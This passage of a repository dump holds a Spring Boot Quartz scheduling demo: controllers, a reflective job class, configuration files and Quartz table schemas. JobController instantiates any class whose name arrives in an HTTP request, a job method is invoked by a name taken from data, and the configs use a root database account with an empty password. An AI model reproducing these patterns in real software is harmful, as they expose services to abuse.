    "content": "package com.itstyle.quartz.entity;\n\nimport java.util.HashMap;\nimport java.util.Map;\n/**\n * 页面响应entity\n * 创建者 张志朋\n * 创建时间\t2018年3月8日\n */\npublic class Result extends HashMap<String, Object> {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic Result() {\n\t\tput(\"code\", 0);\n\t}\n\n\tpublic static Result error() {\n\t\treturn error(500, \"未知异常，请联系管理员\");\n\t}\n\n\tpublic static Result error(String msg) {\n\t\treturn error(500, msg);\n\t}\n\n\tpublic static Result error(int code, String msg) {\n\t\tResult r = new Result();\n\t\tr.put(\"code\", code);\n\t\tr.put(\"msg\", msg);\n\t\treturn r;\n\t}\n\n\tpublic static Result ok(Object msg) {\n\t\tResult r = new Result();\n\t\tr.put(\"msg\", msg);\n\t\treturn r;\n\t}\n\n\n\tpublic static Result ok(Map<String, Object> map) {\n\t\tResult r = new Result();\n\t\tr.putAll(map);\n\t\treturn r;\n\t}\n\n\tpublic static Result ok() {\n\t\treturn new Result();\n\t}\n\n\t@Override\n\tpublic Result put(String key, Object value) {\n\t\tsuper.put(key, value);\n\t\treturn this;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/interceptor/MyAdapter.java",
    "content": "package com.itstyle.quartz.interceptor;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.Ordered;\nimport org.springframework.web.servlet.config.annotation.ViewControllerRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n/**\n * 配置首页\n * 创建者 小柒2012\n * 创建时间\t2017年9月7日\n */\n@Configuration\npublic class MyAdapter extends WebMvcConfigurerAdapter{\n    @Override\n    public void addViewControllers( ViewControllerRegistry registry ) {\n        registry.addViewController( \"/\" ).setViewName( \"forward:/login.shtml\" );\n        registry.setOrder( Ordered.HIGHEST_PRECEDENCE );\n        super.addViewControllers( registry );\n    } \n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/job/ChickenJob.java",
    "content": "package com.itstyle.quartz.job;\n\nimport java.io.Serializable;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\nimport org.quartz.*;\n\n/**\n * 实现序列化接口、防止重启应用出现quartz Couldn't retrieve job because a required class was not found 的问题\n * Job 的实例要到该执行它们的时候才会实例化出来。每次 Job 被执行，一个新的 Job 实例会被创建。\n * 其中暗含的意思就是你的 Job 不必担心线程安全性，因为同一时刻仅有一个线程去执行给定 Job 类的实例，甚至是并发执行同一 Job 也是如此。\n * @DisallowConcurrentExecution 保证上一个任务执行完后，再去执行下一个任务，这里的任务是同一个任务\n */\n@DisallowConcurrentExecution\npublic class ChickenJob implements  Job,Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\t@Override\n    public void execute(JobExecutionContext context){\n        JobDetail jobDetail = context.getJobDetail();\n        JobDataMap dataMap = jobDetail.getJobDataMap();\n        /**\n         * 获取任务中保存的方法名字，动态调用方法\n         */\n        String methodName = dataMap.getString(\"jobMethodName\");\n        try {\n            ChickenJob job = new ChickenJob();\n            Method method = job.getClass().getMethod(methodName);\n            method.invoke(job);\n        } catch (NoSuchMethodException e) {\n            e.printStackTrace();\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        } catch (InvocationTargetException e) {\n            e.printStackTrace();\n        }\n    }\n    public void test1(){\n        System.out.println(\"测试方法1\");\n    }\n    public void test2(){\n\t    System.out.println(\"测试方法2\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/service/IJobService.java",
    "content": "package com.itstyle.quartz.service;\n\nimport java.util.List;\nimport com.itstyle.quartz.entity.QuartzEntity;\nimport org.quartz.SchedulerException;\n\npublic interface IJobService {\n\t\n    List<QuartzEntity> listQuartzEntity(QuartzEntity quartz,Integer pageNo,Integer pageSize) throws SchedulerException;\n    \n    Long listQuartzEntity(QuartzEntity quartz);\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/service/impl/JobServiceImpl.java",
    "content": "package com.itstyle.quartz.service.impl;\nimport java.util.List;\n\nimport org.quartz.JobDetail;\nimport org.quartz.JobKey;\nimport org.quartz.Scheduler;\nimport org.quartz.SchedulerException;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.StringUtils;\n\nimport com.itstyle.quartz.dynamicquery.DynamicQuery;\nimport com.itstyle.quartz.entity.QuartzEntity;\nimport com.itstyle.quartz.service.IJobService;\n@Service(\"jobService\")\npublic class JobServiceImpl implements IJobService {\n\n\t@Autowired\n\tprivate DynamicQuery dynamicQuery;\n    @Autowired @Qualifier(\"Scheduler\")\n    private Scheduler scheduler;\n\n\t@Override\n\tpublic List<QuartzEntity> listQuartzEntity(QuartzEntity quartz,\n\t\t\tInteger pageNo, Integer pageSize) throws SchedulerException {\n\t\tStringBuffer nativeSql = new StringBuffer();\n\t\tnativeSql.append(\"SELECT job.JOB_NAME as jobName,job.JOB_GROUP as jobGroup,job.DESCRIPTION as description,job.JOB_CLASS_NAME as jobClassName,\");\n\t\tnativeSql.append(\"cron.CRON_EXPRESSION as cronExpression,tri.TRIGGER_NAME as triggerName,tri.TRIGGER_STATE as triggerState,\");\n\t\tnativeSql.append(\"job.JOB_NAME as oldJobName,job.JOB_GROUP as oldJobGroup \");\n\t\tnativeSql.append(\"FROM qrtz_job_details AS job \");\n        nativeSql.append(\"LEFT JOIN qrtz_triggers AS tri ON job.JOB_NAME = tri.JOB_NAME  AND job.JOB_GROUP = tri.JOB_GROUP \");\n\t\tnativeSql.append(\"LEFT JOIN qrtz_cron_triggers AS cron ON cron.TRIGGER_NAME = tri.TRIGGER_NAME AND cron.TRIGGER_GROUP= tri.JOB_GROUP \");\n\t\tnativeSql.append(\"WHERE tri.TRIGGER_TYPE = 'CRON'\");\n\t\tObject[] params = new  Object[]{};\n\t\tif(!StringUtils.isEmpty(quartz.getJobName())){//加入JobName搜索其他条件自行实现\n\t\t\tnativeSql.append(\" AND job.JOB_NAME = ?\");\n\t\t\tparams = new Object[]{quartz.getJobName()};\n\t\t}\n        List<QuartzEntity> list = dynamicQuery.nativeQueryListModel(QuartzEntity.class, nativeSql.toString(), params);\n        for (QuartzEntity quartzEntity : list) {\n            JobKey key = new JobKey(quartzEntity.getJobName(), quartzEntity.getJobGroup());\n            JobDetail jobDetail = scheduler.getJobDetail(key);\n            quartzEntity.setJobMethodName(jobDetail.getJobDataMap().getString(\"jobMethodName\"));\n        }\n        return list;\n\t}\n\n\t@Override\n\tpublic Long listQuartzEntity(QuartzEntity quartz) {\n\t\tStringBuffer nativeSql = new StringBuffer();\n\t\tnativeSql.append(\"SELECT COUNT(*)\");\n\t\tnativeSql.append(\"FROM qrtz_job_details AS job LEFT JOIN qrtz_triggers AS tri ON job.JOB_NAME = tri.JOB_NAME \");\n\t\tnativeSql.append(\"LEFT JOIN qrtz_cron_triggers AS cron ON cron.TRIGGER_NAME = tri.TRIGGER_NAME \");\n\t\tnativeSql.append(\"WHERE tri.TRIGGER_TYPE = 'CRON'\");\n\t\treturn dynamicQuery.nativeQueryCount(nativeSql.toString(), new Object[]{});\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/web/JobController.java",
    "content": "package com.itstyle.quartz.web;\n\nimport com.itstyle.quartz.entity.QuartzEntity;\nimport com.itstyle.quartz.entity.Result;\nimport com.itstyle.quartz.service.IJobService;\nimport org.quartz.*;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.util.List;\n\n@RestController\n@RequestMapping(\"/job\")\npublic class JobController {\n\tprivate final static Logger LOGGER = LoggerFactory.getLogger(JobController.class);\n\t\n\n    @Autowired @Qualifier(\"Scheduler\")\n    private Scheduler scheduler;\n    @Autowired\n    private IJobService jobService;\n    \n\t@PostMapping(\"/add\")\n\tpublic Result save(QuartzEntity quartz){\n\t\tLOGGER.info(\"新增任务\");\n\t\ttry {\n\t\t\t//获取Scheduler实例、废弃、使用自动注入的scheduler、否则spring的service将无法注入\n\t        //Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler();\n\t        //如果是修改  展示旧的 任务\n\t        if(quartz.getOldJobGroup()!=null){\n\t        \tJobKey key = new JobKey(quartz.getOldJobName(),quartz.getOldJobGroup());\n\t        \tscheduler.deleteJob(key);\n\t        }\n\t        Class cls = Class.forName(quartz.getJobClassName()) ;\n\t        cls.newInstance();\n\t        //构建job信息\n\t        JobDetail job = JobBuilder.newJob(cls).withIdentity(quartz.getJobName(),\n\t        \t\tquartz.getJobGroup())\n\t        \t\t.withDescription(quartz.getDescription()).build();\n            job.getJobDataMap().put(\"jobMethodName\", quartz.getJobMethodName());\n\t        // 触发时间点\n\t        CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(quartz.getCronExpression());\n\t        Trigger trigger = TriggerBuilder.newTrigger().withIdentity(\"trigger\"+quartz.getJobName(), quartz.getJobGroup())\n\t                .startNow().withSchedule(cronScheduleBuilder).build();\t\n\t        //交由Scheduler安排触发\n\t        scheduler.scheduleJob(job, trigger);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn Result.error();\n\t\t}\n\t\treturn Result.ok();\n\t}\n\n\t@PostMapping(\"/list\")\n\tpublic Result list(QuartzEntity quartz,Integer pageNo,Integer pageSize) throws SchedulerException {\n\t\tLOGGER.info(\"任务列表\");\n\t\tList<QuartzEntity> list = jobService.listQuartzEntity(quartz, pageNo, pageSize);\n\t\treturn Result.ok(list);\n\t}\n\n\t@PostMapping(\"/trigger\")\n\tpublic  Result trigger(QuartzEntity quartz,HttpServletResponse response) {\n\t\ttry {\n\t\t     JobKey key = new JobKey(quartz.getJobName(),quartz.getJobGroup());\n\t\t     scheduler.triggerJob(key);\n\t\t} catch (SchedulerException e) {\n\t\t\t e.printStackTrace();\n\t\t\t return Result.error();\n\t\t}\n\t\treturn Result.ok();\n\t}\n\t@PostMapping(\"/pause\")\n\tpublic  Result pause(QuartzEntity quartz,HttpServletResponse response) {\n\t\tLOGGER.info(\"停止任务\");\n\t\ttry {\n\t\t     JobKey key = new JobKey(quartz.getJobName(),quartz.getJobGroup());\n\t\t     scheduler.pauseJob(key);\n\t\t} catch (SchedulerException e) {\n\t\t\t e.printStackTrace();\n\t\t\t return Result.error();\n\t\t}\n\t\treturn Result.ok();\n\t}\n\t@PostMapping(\"/resume\")\n\tpublic  Result resume(QuartzEntity quartz,HttpServletResponse response) {\n\t\tLOGGER.info(\"恢复任务\");\n\t\ttry {\n\t\t     JobKey key = new JobKey(quartz.getJobName(),quartz.getJobGroup());\n\t\t     scheduler.resumeJob(key);\n\t\t} catch (SchedulerException e) {\n\t\t\t e.printStackTrace();\n\t\t\t return Result.error();\n\t\t}\n\t\treturn Result.ok();\n\t}\n\t@PostMapping(\"/remove\")\n\tpublic  Result remove(QuartzEntity quartz,HttpServletResponse response) {\n\t\ttry {  \n\t\t\t  \n            TriggerKey triggerKey = TriggerKey.triggerKey(quartz.getJobName(), quartz.getJobGroup());  \n            // 停止触发器  \n            scheduler.pauseTrigger(triggerKey);  \n            // 移除触发器  \n            scheduler.unscheduleJob(triggerKey);  \n            // 删除任务  \n            scheduler.deleteJob(JobKey.jobKey(quartz.getJobName(), quartz.getJobGroup()));  \n            System.out.println(\"removeJob:\"+JobKey.jobKey(quartz.getJobName()));  \n        } catch (Exception e) {  \n        \te.printStackTrace();\n            return Result.error();\n        }  \n\t\treturn Result.ok();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/application.properties",
    "content": "# 项目contextPath 科帮网https://blog.52itstyle.vip\nserver.context-path=/quartz\n# 服务端口\nserver.port=8080\n# session最大超时时间(分钟)，默认为30\nserver.session-timeout=60\n# 该服务绑定IP地址，启动服务器时如本机不是该IP地址则抛出异常启动失败，只有特殊需求的情况下才配置\n#server.address=192.168.1.66\n\n# tomcat最大线程数，默认为200\nserver.tomcat.max-threads=100\n# tomcat的URI编码\nserver.tomcat.uri-encoding=UTF-8\n\nspring.thymeleaf.mode=LEGACYHTML5\n\n#dev tools\nspring.devtools.livereload.enabled=true\nspring.thymeleaf.cache=false\nspring.thymeleaf.cache-period=0\nspring.thymeleaf.template.cache=false\n# 静态文件请求匹配方式\nspring.mvc.static-path-pattern=/**\n\n#注意中文乱码\nspring.datasource.url=jdbc:mysql://localhost:3306/test666?characterEncoding=utf-8&useSSL=false\n# mysql8.0+以上版本配置\n# spring.datasource.url=jdbc:mysql://localhost:3306/test?characterEncoding=utf-8&useSSL=false&serverTimezone = GMT\nspring.datasource.username=root\nspring.datasource.password=\nspring.datasource.driver-class-name=com.mysql.jdbc.Driver\n# Specify the DBMS\nspring.jpa.database = MYSQL\n# Show or not log for each sql query\nspring.jpa.show-sql = true\n# DDL mode. This is actually a shortcut for the \"hibernate.hbm2ddl.auto\" property. Default to \"create-drop\" when using an embedded database, \"none\" otherwise.\nspring.jpa.hibernate.ddl-auto = update\n# Hibernate 4 naming strategy fully qualified name. Not supported with Hibernate 5.\nspring.jpa.hibernate.naming.strategy = org.hibernate.cfg.ImprovedNamingStrategy\n# stripped before adding them to the entity manager)\nspring.jpa.properties.hibernate.dialect = org.hibernate.dialect.MySQL5Dialect"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/docker-compose.yml",
    "content": "spring-boot-quartz:\n  image: reg.itstyle.com/spring-boot-quartz\n  ports:\n  - 8080:8080\n  hostname: quartz"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/quartz.properties",
    "content": "org.quartz.scheduler.instanceName = MyScheduler\n\norg.quartz.threadPool.threadCount = 5\norg.quartz.jobStore.class = org.quartz.impl.jdbcjobstore.JobStoreTX\norg.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.StdJDBCDelegate\norg.quartz.jobStore.tablePrefix = QRTZ_\norg.quartz.jobStore.dataSource = myDS\n\norg.quartz.dataSource.myDS.driver = com.mysql.jdbc.Driver\norg.quartz.dataSource.myDS.URL = jdbc:mysql://localhost:3306/test666?characterEncoding=utf-8&useSSL=false\n# mysql8.0+ϰ汾\n# org.quartz.dataSource.myDS.URL=jdbc:mysql://localhost:3306/quartz?characterEncoding=utf-8&useSSL=false&serverTimezone = GMT\norg.quartz.dataSource.myDS.user = root\norg.quartz.dataSource.myDS.password =\norg.quartz.dataSource.myDS.maxConnections = 5"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_cloudscape.sql",
    "content": "# \n# Thanks to Srinivas Venkatarangaiah for submitting this file's contents\n#\n# In your Quartz properties file, you'll need to set \n# org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.CloudscapeDelegate\n#\n# Known to work with Cloudscape 3.6.4 (should work with others)\n#\n\n\ncreate table qrtz_job_details (\n    sched_name varchar(120) not null,\n\tjob_name varchar(200) not null,\n\tjob_group varchar(200) not null,\n\tdescription varchar(250) ,\n\tjob_class_name varchar(250) not null,\n\tis_durable varchar(5) not null,\n    is_nonconcurrent varchar(5) not null,\n    is_update_data varchar(5) not null,\n\trequests_recovery varchar(5) not null,\n\tjob_data long varbinary,\nprimary key (sched_name,job_name,job_group)\n);\n\ncreate table qrtz_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(200) not null,\n\ttrigger_group varchar(200) not null,\n\tjob_name varchar(200) not null,\n\tjob_group varchar(200) not null,\n\tdescription varchar(250) ,\n\tnext_fire_time longint,\n\tprev_fire_time longint,\n\tpriority integer,\n\ttrigger_state varchar(16) not null,\n\ttrigger_type varchar(8) not null,\n\tstart_time longint not null,\n\tend_time longint,\n\tcalendar_name varchar(200),\n\tmisfire_instr smallint,\n\tjob_data long varbinary,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,job_name,job_group) references qrtz_job_details(sched_name,job_name,job_group)\n);\n\ncreate table qrtz_simple_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(200) not null,\n\ttrigger_group varchar(200) not null,\n\trepeat_count longint not null,\n\trepeat_interval longint not null,\n\ttimes_triggered longint not null,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_cron_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(200) not null,\n\ttrigger_group varchar(200) not null,\n\tcron_expression varchar(120) not null,\n\ttime_zone_id varchar(80),\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\nCREATE TABLE qrtz_simprop_triggers\n  (          \n    sched_name varchar(120) not null,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 longint NULL,\n    LONG_PROP_2 longint NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 varchar(5) NULL,\n    BOOL_PROP_2 varchar(5) NULL,\n    PRIMARY KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (sched_name,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(sched_name,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\ncreate table qrtz_blob_triggers(\n    sched_name varchar(120) not null,\n\ttrigger_name varchar(200) not null,\n\ttrigger_group varchar(200) not null,\n\tblob_data long varbinary ,\nprimary key (sched_name,trigger_name,trigger_group),\nforeign key (sched_name,trigger_name,trigger_group) references qrtz_triggers(sched_name,trigger_name,trigger_group)\n);\n\ncreate table qrtz_calendars(\n    sched_name varchar(120) not null,\n\tcalendar_name varchar(200) not null,\n\tcalendar long varbinary not null,\nprimary key (sched_name,calendar_name)\n); \n\ncreate table qrtz_paused_trigger_grps\n  (\n    sched_name varchar(120) not null,\n    trigger_group  varchar(200) not null, \nprimary key (sched_name,trigger_group)\n);\n\ncreate table qrtz_fired_triggers(\n    sched_name varchar(120) not null,\n\tentry_id varchar(95) not null,\n\ttrigger_name varchar(200) not null,\n\ttrigger_group varchar(200) not null,\n\tinstance_name varchar(200) not null,\n\tfired_time longint not null,\n\tsched_time longint not null,\n\tpriority integer not null,\n\tstate varchar(16) not null,\n\tjob_name varchar(200) null,\n\tjob_group varchar(200) null,\n\tis_nonconcurrent varchar(5) null,\n\trequests_recovery varchar(5) null,\nprimary key (sched_name,entry_id)\n);\n\ncreate table qrtz_scheduler_state \n  (\n    sched_name varchar(120) not null,\n    instance_name varchar(200) not null,\n    last_checkin_time longint not null,\n    checkin_interval longint not null,\nprimary key (sched_name,instance_name)\n);\n\ncreate table qrtz_locks\n  (\n    sched_name varchar(120) not null,\n    lock_name  varchar(40) not null, \nprimary key (sched_name,lock_name)\n);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/sql/tables_cubrid.sql",
    "content": "\n-- Thanks to Timothy Anyona for this script\n-- CUBRID 8.4.1+\n\n-- In your Quartz properties file, you'll need to set \n-- org.quartz.jobStore.driverDelegateClass = org.quartz.impl.jdbcjobstore.CUBRIDDelegate\n\n\nDROP TABLE IF EXISTS QRTZ_FIRED_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_PAUSED_TRIGGER_GRPS;\nDROP TABLE IF EXISTS QRTZ_SCHEDULER_STATE;\nDROP TABLE IF EXISTS QRTZ_LOCKS;\nDROP TABLE IF EXISTS QRTZ_SIMPLE_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_SIMPROP_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_CRON_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_BLOB_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_TRIGGERS;\nDROP TABLE IF EXISTS QRTZ_JOB_DETAILS;\nDROP TABLE IF EXISTS QRTZ_CALENDARS;\n\n\nCREATE TABLE QRTZ_JOB_DETAILS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL,\n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    JOB_CLASS_NAME   VARCHAR(250) NOT NULL,\n    IS_DURABLE BIT(1) NOT NULL,\n    IS_NONCONCURRENT BIT(1) NOT NULL,\n    IS_UPDATE_DATA BIT(1) NOT NULL,\n    REQUESTS_RECOVERY BIT(1) NOT NULL,\n    JOB_DATA BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE QRTZ_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    JOB_NAME  VARCHAR(200) NOT NULL,\n    JOB_GROUP VARCHAR(200) NOT NULL,\n    DESCRIPTION VARCHAR(250) NULL,\n    NEXT_FIRE_TIME BIGINT NULL,\n    PREV_FIRE_TIME BIGINT NULL,\n    PRIORITY INTEGER NULL,\n    TRIGGER_STATE VARCHAR(16) NOT NULL,\n    TRIGGER_TYPE VARCHAR(8) NOT NULL,\n    START_TIME BIGINT NOT NULL,\n    END_TIME BIGINT NULL,\n    CALENDAR_NAME VARCHAR(200) NULL,\n    MISFIRE_INSTR SMALLINT NULL,\n    JOB_DATA BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,JOB_NAME,JOB_GROUP)\n        REFERENCES QRTZ_JOB_DETAILS(SCHED_NAME,JOB_NAME,JOB_GROUP)\n);\n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    REPEAT_COUNT BIGINT NOT NULL,\n    REPEAT_INTERVAL BIGINT NOT NULL,\n    TIMES_TRIGGERED BIGINT NOT NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CRON_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    CRON_EXPRESSION VARCHAR(200) NOT NULL,\n    TIME_ZONE_ID VARCHAR(80),\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_SIMPROP_TRIGGERS\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 BIGINT NULL,\n    LONG_PROP_2 BIGINT NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 BIT(1) NULL,\n    BOOL_PROP_2 BIT(1) NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP) \n    REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_BLOB_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    BLOB_DATA BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP),\n    FOREIGN KEY (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n        REFERENCES QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_CALENDARS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    CALENDAR_NAME  VARCHAR(200) NOT NULL,\n    CALENDAR BLOB NULL,\n    PRIMARY KEY (SCHED_NAME,CALENDAR_NAME)\n);\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_GROUP  VARCHAR(200) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,TRIGGER_GROUP)\n);\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    ENTRY_ID VARCHAR(95) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    FIRED_TIME BIGINT NOT NULL,\n    SCHED_TIME BIGINT NOT NULL,\n    PRIORITY INTEGER NOT NULL,\n    STATE VARCHAR(16) NOT NULL,\n    JOB_NAME VARCHAR(200) NULL,\n    JOB_GROUP VARCHAR(200) NULL,\n    IS_NONCONCURRENT BIT(1) NULL,\n    REQUESTS_RECOVERY BIT(1) NULL,\n    PRIMARY KEY (SCHED_NAME,ENTRY_ID)\n);\n\nCREATE TABLE QRTZ_SCHEDULER_STATE\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    INSTANCE_NAME VARCHAR(200) NOT NULL,\n    LAST_CHECKIN_TIME BIGINT NOT NULL,\n    CHECKIN_INTERVAL BIGINT NOT NULL,\n    PRIMARY KEY (SCHED_NAME,INSTANCE_NAME)\n);\n\nCREATE TABLE QRTZ_LOCKS\n  (\n    SCHED_NAME VARCHAR(120) NOT NULL,\n    LOCK_NAME  VARCHAR(40) NOT NULL, \n    PRIMARY KEY (SCHED_NAME,LOCK_NAME)\n);\n\n\nCREATE INDEX IDX_QRTZ_J_REQ_RECOVERY ON QRTZ_JOB_DETAILS(SCHED_NAME,REQUESTS_RECOVERY);\nCREATE INDEX IDX_QRTZ_J_GRP ON QRTZ_JOB_DETAILS(SCHED_NAME,JOB_GROUP);\n\n\nCREATE INDEX IDX_QRTZ_T_JG ON QRTZ_TRIGGERS(SCHED_NAME,JOB_GROUP);\nCREATE INDEX IDX_QRTZ_T_C ON QRTZ_TRIGGERS(SCHED_NAME,CALENDAR_NAME);\nCREATE INDEX IDX_QRTZ_T_G ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_GROUP);\nCREATE INDEX IDX_QRTZ_T_STATE ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_N_STATE ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_N_G_STATE ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_GROUP,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_NEXT_FIRE_TIME ON QRTZ_TRIGGERS(SCHED_NAME,NEXT_FIRE_TIME);\nCREATE INDEX IDX_QRTZ_T_NFT_ST ON QRTZ_TRIGGERS(SCHED_NAME,TRIGGER_STATE,NEXT_FIRE_TIME);\nCREATE INDEX IDX_QRTZ_T_NFT_MISFIRE ON QRTZ_TRIGGERS(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME);\nCREATE INDEX IDX_QRTZ_T_NFT_ST_MISFIRE ON QRTZ_TRIGGERS(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_STATE);\nCREATE INDEX IDX_QRTZ_T_NFT_ST_MISFIRE_GRP ON QRTZ_TRIGGERS(SCHED_NAME,MISFIRE_INSTR,NEXT_FIRE_TIME,TRIGGER_GROUP,TRIGGER_STATE);\n\nCREATE INDEX IDX_QRTZ_FT_TRIG_INST_NAME ON QRTZ_FIRED_TRIGGERS(SCHED_NAME,INSTANCE_NAME);\nCREATE INDEX IDX_QRTZ_FT_INST_JOB_REQ_RCVRY ON 